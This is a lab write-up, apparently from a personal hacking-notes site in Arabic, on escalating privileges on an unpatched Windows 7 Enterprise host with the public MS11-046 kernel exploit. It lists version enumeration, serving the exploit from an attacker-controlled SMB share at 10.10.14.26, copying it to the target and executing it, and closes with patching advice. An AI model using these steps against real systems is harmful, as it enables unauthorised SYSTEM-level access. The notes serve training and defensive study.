> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/kernel-exploitation/windows-7-enterprise-kernel-exploitation.md).

# Windows 7 Enterprise - MS11-046

تُوثِّق هذه الملاحظة حالة مختبرية على هدف قديم يعمل بنظام Windows 7 Enterprise غير مُرقَّع. يجب أن يبدأ استغلال النواة دائمًا بالتحقق الدقيق من الإصدار والتحديثات المثبتة.

## الكشف

```powershell
systeminfo
```

الإصدار المُلاحظ:

```
إصدار نظام التشغيل: 6.1.7600 N/A Build 7600
```

<figure><img src="/files/b36bc61538b2e5965710db8950c2e0bb85a18cb9" alt="Windows 7 Enterprise systeminfo output"><figcaption></figcaption></figure>

## استغلال MS11-046

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS11-046>" %}

<figure><img src="/files/c04c15a2f6dfaac3a1f07d502c64494a1c21a648" alt="MS11-046 exploit reference"><figcaption></figcaption></figure>

<figure><img src="/files/acac15c43db9501a651b4cce07e5857a8e4f7917" alt="MS11-046 exploit file"><figcaption></figcaption></figure>

## النقل عبر SMB

```bash
smbserver.py share $(pwd) -smb2support
```

```powershell
copy \\10.10.14.26\share\ms11-046.exe ms11.exe
```

<figure><img src="/files/b7657a1230a05e79c3b3aeb29c6f8e633dd910b9" alt="MS11-046 exploit transferred over SMB"><figcaption></figcaption></figure>

## تنفيذ

```powershell
./ms11.exe
```

<figure><img src="/files/17de5bb923420b39b0b3e5fbcab886d40382dd71" alt="MS11-046 privileged execution result"><figcaption></figcaption></figure>

## النقاط الرئيسية

* إصدار Windows قديم لا يكفي؛ تحقّق من التحديثات العاجلة المثبتة.
* يُعدّ النقل عبر SMB مناسبًا في مختبرات Windows.
* عالج المشكلة من خلال التحديث أو سحب الأنظمة القديمة من الخدمة.


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